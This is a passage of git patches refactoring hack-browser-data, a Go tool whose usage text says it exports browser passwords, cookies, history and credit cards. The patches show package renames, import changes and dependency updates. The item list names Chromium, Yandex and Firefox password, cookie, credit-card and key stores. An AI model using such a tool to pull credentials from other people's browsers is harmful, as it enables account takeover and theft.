internal/{browser => }/data/creditcard.go | 1 +
internal/{browser => }/data/download.go | 1 +
internal/{browser => }/data/history.go | 1 +
internal/{browser => }/data/password.go | 1 +
internal/item/item.go | 84 +++++++++----------
internal/{browser => }/outputter/outputter.go | 2 +-
14 files changed, 53 insertions(+), 48 deletions(-)
rename internal/{browser => }/data/bookmark.go (100%)
rename internal/{browser => }/data/browsingdata.go (100%)
rename internal/{browser => }/data/cookie.go (99%)
rename internal/{browser => }/data/creditcard.go (99%)
rename internal/{browser => }/data/download.go (99%)
rename internal/{browser => }/data/history.go (99%)
rename internal/{browser => }/data/password.go (99%)
rename internal/{browser => }/outputter/outputter.go (97%)
diff --git a/cmd/cmd.go b/cmd/cmd.go
index 0630b02..ec484f8 100644
--- a/cmd/cmd.go
+++ b/cmd/cmd.go
@@ -8,8 +8,8 @@ import (
"github.com/urfave/cli/v2"
"hack-browser-data/internal/browser"
- "hack-browser-data/internal/browser/outputter"
"hack-browser-data/internal/log"
+ "hack-browser-data/internal/outputter"
)
var (
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index 7d5b7cc..d520b8d 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -4,7 +4,7 @@ import (
"os"
"strings"
- "hack-browser-data/internal/browser/data"
+ "hack-browser-data/internal/data"
)
type Browser interface {
diff --git a/internal/browser/browser_test.go b/internal/browser/browser_test.go
index a9965d7..4fbab5d 100644
--- a/internal/browser/browser_test.go
+++ b/internal/browser/browser_test.go
@@ -4,8 +4,8 @@ import (
"fmt"
"testing"
- "hack-browser-data/internal/browser/outputter"
"hack-browser-data/internal/log"
+ "hack-browser-data/internal/outputter"
)
func TestPickChromium(t *testing.T) {
diff --git a/internal/browser/chromium/chromium.go b/internal/browser/chromium/chromium.go
index 874b673..ae87642 100644
--- a/internal/browser/chromium/chromium.go
+++ b/internal/browser/chromium/chromium.go
@@ -8,7 +8,7 @@ import (
"path/filepath"
"strings"
- "hack-browser-data/internal/browser/data"
+ "hack-browser-data/internal/data"
"hack-browser-data/internal/item"
)
diff --git a/internal/browser/firefox/firefox.go b/internal/browser/firefox/firefox.go
index 12a22da..2a0d42a 100644
--- a/internal/browser/firefox/firefox.go
+++ b/internal/browser/firefox/firefox.go
@@ -9,7 +9,7 @@ import (
"path/filepath"
"strings"
- "hack-browser-data/internal/browser/data"
+ "hack-browser-data/internal/data"
"hack-browser-data/internal/item"
)
diff --git a/internal/browser/data/bookmark.go b/internal/data/bookmark.go
similarity index 100%
rename from internal/browser/data/bookmark.go
rename to internal/data/bookmark.go
diff --git a/internal/browser/data/browsingdata.go b/internal/data/browsingdata.go
similarity index 100%
rename from internal/browser/data/browsingdata.go
rename to internal/data/browsingdata.go
diff --git a/internal/browser/data/cookie.go b/internal/data/cookie.go
similarity index 99%
rename from internal/browser/data/cookie.go
rename to internal/data/cookie.go
index 7b3dd83..c3f098e 100644
--- a/internal/browser/data/cookie.go
+++ b/internal/data/cookie.go
@@ -6,6 +6,7 @@ import (
"sort"
"hack-browser-data/internal/browser/item"
+
"hack-browser-data/internal/decrypter"
"hack-browser-data/internal/utils"
diff --git a/internal/browser/data/creditcard.go b/internal/data/creditcard.go
similarity index 99%
rename from internal/browser/data/creditcard.go
rename to internal/data/creditcard.go
index a8b386c..10085d8 100644
--- a/internal/browser/data/creditcard.go
+++ b/internal/data/creditcard.go
@@ -7,6 +7,7 @@ import (
_ "github.com/mattn/go-sqlite3"
"hack-browser-data/internal/browser/item"
+
"hack-browser-data/internal/decrypter"
)
diff --git a/internal/browser/data/download.go b/internal/data/download.go
similarity index 99%
rename from internal/browser/data/download.go
rename to internal/data/download.go
index 1ae6995..debadb5 100644
--- a/internal/browser/data/download.go
+++ b/internal/data/download.go
@@ -9,6 +9,7 @@ import (
"github.com/tidwall/gjson"
"hack-browser-data/internal/browser/item"
+
"hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
diff --git a/internal/browser/data/history.go b/internal/data/history.go
similarity index 99%
rename from internal/browser/data/history.go
rename to internal/data/history.go
index 1cc4d4c..3f0c5de 100644
--- a/internal/browser/data/history.go
+++ b/internal/data/history.go
@@ -6,6 +6,7 @@ import (
"sort"
"hack-browser-data/internal/browser/item"
+
"hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
diff --git a/internal/browser/data/password.go b/internal/data/password.go
similarity index 99%
rename from internal/browser/data/password.go
rename to internal/data/password.go
index f8e55f0..1de6742 100644
--- a/internal/browser/data/password.go
+++ b/internal/data/password.go
@@ -10,6 +10,7 @@ import (
"time"
"hack-browser-data/internal/browser/item"
+
decrypter2 "hack-browser-data/internal/decrypter"
"hack-browser-data/internal/utils"
diff --git a/internal/item/item.go b/internal/item/item.go
index 79f3933..30bb101 100644
--- a/internal/item/item.go
+++ b/internal/item/item.go
@@ -1,34 +1,7 @@
package item
import (
- "hack-browser-data/internal/browser/data"
-)
-
-type Item int
-
-const (
- ChromiumKey Item = iota
- ChromiumPassword
- ChromiumCookie
- ChromiumBookmark
- ChromiumHistory
- ChromiumDownload
- ChromiumCreditCard
- ChromiumLocalStorage
- ChromiumExtension
-
- YandexPassword
- YandexCreditCard
-
- FirefoxKey4
- FirefoxPassword
- FirefoxCookie
- FirefoxBookmark
- FirefoxHistory
- FirefoxDownload
- FirefoxCreditCard
- FirefoxLocalStorage
- FirefoxExtension
+ data2 "hack-browser-data/internal/data"
)
var DefaultFirefox = []Item{
@@ -67,6 +40,33 @@ var DefaultChromium = []Item{
ChromiumExtension,
}
+type Item int
+
+const (
+ ChromiumKey Item = iota
+ ChromiumPassword
+ ChromiumCookie
+ ChromiumBookmark
+ ChromiumHistory
+ ChromiumDownload
+ ChromiumCreditCard
+ ChromiumLocalStorage
+ ChromiumExtension
+
+ YandexPassword
+ YandexCreditCard
+
+ FirefoxKey4
+ FirefoxPassword
+ FirefoxCookie
+ FirefoxBookmark
+ FirefoxHistory
+ FirefoxDownload
+ FirefoxCreditCard
+ FirefoxLocalStorage
+ FirefoxExtension
+)
+
func (i Item) FileName() string {
switch i {
case ChromiumKey:
@@ -161,40 +161,40 @@ func (i Item) String() string {
}
}
-func (i Item) NewBrowsingData() data.BrowsingData {
+func (i Item) NewBrowsingData() data2.BrowsingData {
switch i {
case ChromiumKey:
return nil
case ChromiumPassword:
- return &data.ChromiumPassword{}
+ return &data2.ChromiumPassword{}
case ChromiumCookie:
- return &data.ChromiumCookie{}
+ return &data2.ChromiumCookie{}
case ChromiumBookmark:
- return &data.ChromiumBookmark{}
+ return &data2.ChromiumBookmark{}
case ChromiumDownload:
- return &data.ChromiumDownload{}
+ return &data2.ChromiumDownload{}
case ChromiumLocalStorage:
return nil
case ChromiumCreditCard:
- return &data.ChromiumCreditCard{}
+ return &data2.ChromiumCreditCard{}
case ChromiumExtension:
return nil
case ChromiumHistory:
- return &data.ChromiumHistory{}
+ return &data2.ChromiumHistory{}
case YandexPassword:
- return &data.ChromiumPassword{}
+ return &data2.ChromiumPassword{}
case YandexCreditCard:
- return &data.ChromiumCreditCard{}
+ return &data2.ChromiumCreditCard{}
case FirefoxPassword:
- return &data.FirefoxPassword{}
+ return &data2.FirefoxPassword{}
case FirefoxCookie:
- return &data.FirefoxCookie{}
+ return &data2.FirefoxCookie{}
case FirefoxBookmark:
- return &data.FirefoxBookmark{}
+ return &data2.FirefoxBookmark{}
case FirefoxDownload:
- return &data.FirefoxDownload{}
+ return &data2.FirefoxDownload{}
case FirefoxHistory:
- return &data.FirefoxHistory{}
+ return &data2.FirefoxHistory{}
default:
return nil
}
diff --git a/internal/browser/outputter/outputter.go b/internal/outputter/outputter.go
similarity index 97%
rename from internal/browser/outputter/outputter.go
rename to internal/outputter/outputter.go
index 355cf08..0d1ff63 100644
--- a/internal/browser/outputter/outputter.go
+++ b/internal/outputter/outputter.go
@@ -10,7 +10,7 @@ import (
"github.com/gocarina/gocsv"
jsoniter "github.com/json-iterator/go"
- "hack-browser-data/internal/browser/data"
+ "hack-browser-data/internal/data"
)
type outPutter struct {
From 4551931c89fe06484ea3b341b1363bab73d7ed5b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Fri, 8 Apr 2022 19:06:04 +0800
Subject: [PATCH 15/33] feat: rename browser layout and add generics util
function
---
cmd/cmd.go | 10 +-
go.mod | 18 +-
go.sum | 1419 ++++++++++++++++-
internal/{data => browingdata}/bookmark.go | 25 +-
.../{data => browingdata}/browsingdata.go | 54 +-
internal/{data => browingdata}/cookie.go | 2 +-
internal/{data => browingdata}/creditcard.go | 2 +-
internal/{data => browingdata}/download.go | 2 +-
internal/{data => browingdata}/history.go | 2 +-
internal/{data => browingdata}/password.go | 2 +-
internal/browser/browser.go | 35 +-
internal/browser/browser_darwin.go | 174 +-
internal/browser/browser_windows.go | 30 -
internal/browser/chromium/chromium.go | 39 +-
internal/browser/chromium/chromium_darwin.go | 45 +
internal/browser/chromium/chromium_linux.go | 1 +
internal/browser/chromium/chromium_windows.go | 30 +
internal/browser/firefox/firefox.go | 6 +-
internal/decrypter/decrypter.go | 4 +-
internal/item/item.go | 6 +-
internal/outputter/outputter.go | 4 +-
internal/utils/fileutil/filetutil.go | 36 +
internal/utils/typeutil/typeutil.go | 10 +
internal/utils/utils.go | 5 -
24 files changed, 1717 insertions(+), 244 deletions(-)
rename internal/{data => browingdata}/bookmark.go (85%)
rename internal/{data => browingdata}/browsingdata.go (65%)
rename internal/{data => browingdata}/cookie.go (99%)
rename internal/{data => browingdata}/creditcard.go (98%)
rename internal/{data => browingdata}/download.go (99%)
rename internal/{data => browingdata}/history.go (99%)
rename internal/{data => browingdata}/password.go (99%)
create mode 100644 internal/browser/chromium/chromium_darwin.go
create mode 100644 internal/browser/chromium/chromium_linux.go
create mode 100644 internal/browser/chromium/chromium_windows.go
create mode 100644 internal/utils/fileutil/filetutil.go
create mode 100644 internal/utils/typeutil/typeutil.go
diff --git a/cmd/cmd.go b/cmd/cmd.go
index ec484f8..62aec3f 100644
--- a/cmd/cmd.go
+++ b/cmd/cmd.go
@@ -23,10 +23,10 @@ var (
func Execute() {
app := &cli.App{
- Name: "hack-browser-data",
+ Name: "hack-browser-browingdata",
Usage: "Export passwords/cookies/history/bookmarks from browser",
- UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all data(password/cookie/history/bookmark) from chrome",
- Version: "0.3.8",
+ UsageText: "[hack-browser-browingdata -b chrome -f json -dir results -cc]\n Get all browingdata(password/cookie/history/bookmark) from chrome",
+ Version: "0.4.0",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
@@ -88,9 +88,9 @@ func Execute() {
// func Execute() {
// app := &cli.App{
-// Name: "hack-browser-data",
+// Name: "hack-browser-browingdata",
// Usage: "Export passwords/cookies/history/bookmarks from browser",
-// UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all data(password/cookie/history/bookmark) from chrome",
+// UsageText: "[hack-browser-browingdata -b chrome -f json -dir results -cc]\n Get all browingdata(password/cookie/history/bookmark) from chrome",
// Version: "0.3.7",
// Flags: []cli.Flag{
// &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
diff --git a/go.mod b/go.mod
index 233bbdc..bde517a 100644
--- a/go.mod
+++ b/go.mod
@@ -6,17 +6,29 @@ require (
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9
github.com/json-iterator/go v1.1.12
github.com/mattn/go-sqlite3 v1.14.9
+ github.com/smallstep/cli v0.18.2
github.com/tidwall/gjson v1.9.3
github.com/urfave/cli/v2 v2.2.0
- golang.org/x/crypto v0.0.0-20200604202706-70a84ac30bf9
+ golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
)
require (
- github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d // indirect
- github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 // indirect
+ github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e // indirect
+ github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect
+ github.com/manifoldco/promptui v0.9.0 // indirect
+ github.com/mattn/go-colorable v0.1.8 // indirect
+ github.com/mattn/go-isatty v0.0.13 // indirect
+ github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d // indirect
+ github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
+ github.com/pkg/errors v0.9.1 // indirect
github.com/russross/blackfriday/v2 v2.0.1 // indirect
github.com/shurcooL/sanitized_anchor_name v1.0.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.0 // indirect
+ github.com/urfave/cli v1.22.5 // indirect
+ go.step.sm/cli-utils v0.7.2 // indirect
+ go.step.sm/crypto v0.15.0 // indirect
+ golang.org/x/net v0.0.0-20220114011407-0dd24b26b47d // indirect
+ golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 // indirect
)
diff --git a/go.sum b/go.sum
index 87e5a74..d9329af 100644
--- a/go.sum
+++ b/go.sum
@@ -1,43 +1,1452 @@
+bazil.org/fuse v0.0.0-20180421153158-65cc252bf669/go.mod h1:Xbm+BRKSBEpa4q4hTSxohYNQpsxXPbPry4JJWOB3LB8=
+bitbucket.org/creachadair/shell v0.0.6/go.mod h1:8Qqi/cYk7vPnsOePHroKXDJYmb5x7ENhtiFtfZq8K+M=
+cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
+cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
+cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
+cloud.google.com/go v0.39.0/go.mod h1:rVLT6fkc8chs9sfPtFc1SBH6em7n+ZoXaG+87tDISts=
+cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
+cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
+cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
+cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
+cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
+cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=
+cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=
+cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=
+cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=
+cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=
+cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=
+cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=
+cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=
+cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI=
+cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk=
+cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY=
+cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg=
+cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8=
+cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0=
+cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY=
+cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
+cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=
+cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
+cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
+cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
+cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
+cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
+cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
+cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
+cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
+cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
+cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
+cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
+cloud.google.com/go/spanner v1.17.0/go.mod h1:+17t2ixFwRG4lWRwE+5kipDR9Ef07Jkmc8z0IbMDKUs=
+cloud.google.com/go/spanner v1.18.0/go.mod h1:LvAjUXPeJRGNuGpikMULjhLj/t9cRvdc+fxRoLiugXA=
+cloud.google.com/go/spanner v1.20.0/go.mod h1:ajR/W06cMHQu7nqQ4irRGplPNoWgejGJlEhlB8xBTKk=
+cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
+cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=
+cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=
+cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
+cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
+code.gitea.io/sdk/gitea v0.11.3/go.mod h1:z3uwDV/b9Ls47NGukYM9XhnHtqPh/J+t40lsUrR6JDY=
+contrib.go.opencensus.io/exporter/aws v0.0.0-20181029163544-2befc13012d0/go.mod h1:uu1P0UCM/6RbsMrgPa98ll8ZcHM858i/AD06a9aLRCA=
+contrib.go.opencensus.io/exporter/ocagent v0.5.0/go.mod h1:ImxhfLRpxoYiSq891pBrLVhN+qmP8BTVvdH2YLs7Gl0=
+contrib.go.opencensus.io/exporter/stackdriver v0.12.1/go.mod h1:iwB6wGarfphGGe/e5CWqyUk/cLzKnWsOKPVW3no6OTw=
+contrib.go.opencensus.io/exporter/stackdriver v0.13.5/go.mod h1:aXENhDJ1Y4lIg4EUaVTwzvYETVNZk10Pu26tevFKLUc=
+contrib.go.opencensus.io/exporter/stackdriver v0.13.7/go.mod h1:huNtlWx75MwO7qMs0KrMxPZXzNNWebav1Sq/pm02JdQ=
+contrib.go.opencensus.io/integrations/ocsql v0.1.4/go.mod h1:8DsSdjz3F+APR+0z0WkU1aRorQCFfRxvqjUUPMbF3fE=
+contrib.go.opencensus.io/resource v0.1.1/go.mod h1:F361eGI91LCmW1I/Saf+rX0+OFcigGlFvXwEGEnkRLA=
+dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
+filippo.io/edwards25519 v1.0.0-rc.1/go.mod h1:N1IkdkCkiLB6tki+MYJoSx2JTY9NUlxZE7eHn5EwJns=
+github.com/AndreasBriese/bbloom v0.0.0-20190825152654-46b345b51c96/go.mod h1:bOvUY6CB00SOBii9/FifXqc0awNKxLFCL/+pkDPuyl8=
+github.com/Azure/azure-amqp-common-go/v2 v2.1.0/go.mod h1:R8rea+gJRuJR6QxTir/XuEd+YuKoUiazDC/N96FiDEU=
+github.com/Azure/azure-pipeline-go v0.2.1/go.mod h1:UGSo8XybXnIGZ3epmeBw7Jdz+HiUVpqIlpz/HKHylF4=
+github.com/Azure/azure-sdk-for-go v29.0.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
+github.com/Azure/azure-sdk-for-go v30.1.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
+github.com/Azure/azure-sdk-for-go v58.0.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
+github.com/Azure/azure-service-bus-go v0.9.1/go.mod h1:yzBx6/BUGfjfeqbRZny9AQIbIe3AcV9WZbAdpkoXOa0=
+github.com/Azure/azure-storage-blob-go v0.8.0/go.mod h1:lPI3aLPpuLTeUwh1sViKXFxwl2B6teiRqI0deQUvsw0=
+github.com/Azure/go-autorest v12.0.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
+github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
+github.com/Azure/go-autorest/autorest v0.11.17/go.mod h1:eipySxLmqSyC5s5k1CLupqet0PSENBEDP93LQ9a8QYw=
+github.com/Azure/go-autorest/autorest/adal v0.9.5/go.mod h1:B7KF7jKIeC9Mct5spmyCB/A8CG/sEz1vwIRGv/bbw7A=
+github.com/Azure/go-autorest/autorest/adal v0.9.11/go.mod h1:nBKAnTomx8gDtl+3ZCJv2v0KACFHWTB2drffI1B68Pk=
+github.com/Azure/go-autorest/autorest/azure/auth v0.5.8/go.mod h1:kxyKZTSfKh8OVFWPAgOgQ/frrJgeYQJPyR5fLFmXko4=
+github.com/Azure/go-autorest/autorest/azure/cli v0.4.2/go.mod h1:7qkJkT+j6b+hIpzMOwPChJhTqS8VbsqqgULzMNRugoM=
+github.com/Azure/go-autorest/autorest/date v0.3.0/go.mod h1:BI0uouVdmngYNUzGWeSYnokU+TrmwEsOqdt8Y6sso74=
+github.com/Azure/go-autorest/autorest/mocks v0.4.1/go.mod h1:LTp+uSrOhSkaKrUy935gNZuuIPPVsHlr9DSOxSayd+k=
+github.com/Azure/go-autorest/autorest/to v0.4.0/go.mod h1:fE8iZBn7LQR7zH/9XU2NcPR4o9jEImooCeWJcYV/zLE=
+github.com/Azure/go-autorest/autorest/validation v0.3.1/go.mod h1:yhLgjC0Wda5DYXl6JAsWyUe4KVNffhoDhG0zVzUMo3E=
+github.com/Azure/go-autorest/logger v0.2.0/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8=
+github.com/Azure/go-autorest/tracing v0.6.0/go.mod h1:+vhtPC754Xsa23ID7GlGsrdKBpUA79WCAKPPZVC2DeU=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
-github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d h1:U+s90UTSYgptZMwQh2aRr3LuazLJIa+Pg3Kc1ylSYVY=
+github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
+github.com/GoogleCloudPlatform/cloudsql-proxy v0.0.0-20191009163259-e802c2cb94ae/go.mod h1:mjwGPas4yKduTyubHvD1Atl9r1rUq8DfVy+gkVvZ+oo=
+github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8Leh48TZaKVeNIfJntJ2wa0=
+github.com/Masterminds/glide v0.13.2/go.mod h1:STyF5vcenH/rUqTEv+/hBXlSTo7KYwg2oc2f4tzPWic=
+github.com/Masterminds/goutils v1.1.0/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU=
+github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU=
+github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=
+github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=
+github.com/Masterminds/semver/v3 v3.0.3/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
+github.com/Masterminds/semver/v3 v3.1.0/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
+github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
+github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o=
+github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o=
+github.com/Masterminds/sprig/v3 v3.1.0/go.mod h1:ONGMf7UfYGAbMXCZmQLy8x3lCDIPrEZE/rU8pmrbihA=
+github.com/Masterminds/sprig/v3 v3.2.2/go.mod h1:UoaO7Yp8KlPnJIYWTFkMaqPUYKTfGFPhxNuwnnxkKlk=
+github.com/Masterminds/vcs v1.13.0/go.mod h1:N09YCmOQr6RLxC6UNHzuVwAdodYbbnycGHSmwVJjcKA=
+github.com/Microsoft/go-winio v0.4.14/go.mod h1:qXqCSQ3Xa7+6tgxaGTIe4Kpcdsi+P8jBhyzoq1bpyYA=
+github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
+github.com/Shopify/sarama v1.19.0/go.mod h1:FVkBWblsNy7DGZRfXLU0O9RCGt5g3g3yEuWXgklEdEo=
+github.com/Shopify/toxiproxy v2.1.4+incompatible/go.mod h1:OXgGpZ6Cli1/URJOF1DMxUHB2q5Ap20/P/eIdh4G0pI=
+github.com/ThalesIgnite/crypto11 v1.2.4/go.mod h1:ILDKtnCKiQ7zRoNxcp36Y1ZR8LBPmR2E23+wTQe/MlE=
+github.com/ThomasRooney/gexpect v0.0.0-20161231170123-5482f0350944/go.mod h1:sPML5WwI6oxLRLPuuqbtoOKhtmpVDCYtwsps+I+vjIY=
+github.com/VividCortex/gohistogram v1.0.0/go.mod h1:Pf5mBqqDxYaXu3hDrrU+w6nw50o/4+TcAqDqk/vUH7g=
+github.com/afex/hystrix-go v0.0.0-20180502004556-fa1af6a1f4f5/go.mod h1:SkGFH1ia65gfNATL8TAiHDNxPzPdmEL5uirI2Uyuz6c=
+github.com/alcortesm/tgz v0.0.0-20161220082320-9c5fe88206d7/go.mod h1:6zEj6s6u/ghQa61ZWa/C2Aw3RkjiTBOix7dkqa1VLIs=
+github.com/alecthomas/kingpin v2.2.6+incompatible/go.mod h1:59OFYbFVLKQKq+mqrL6Rw5bR0c3ACQaawgXx0QYndlE=
+github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
+github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
+github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
+github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
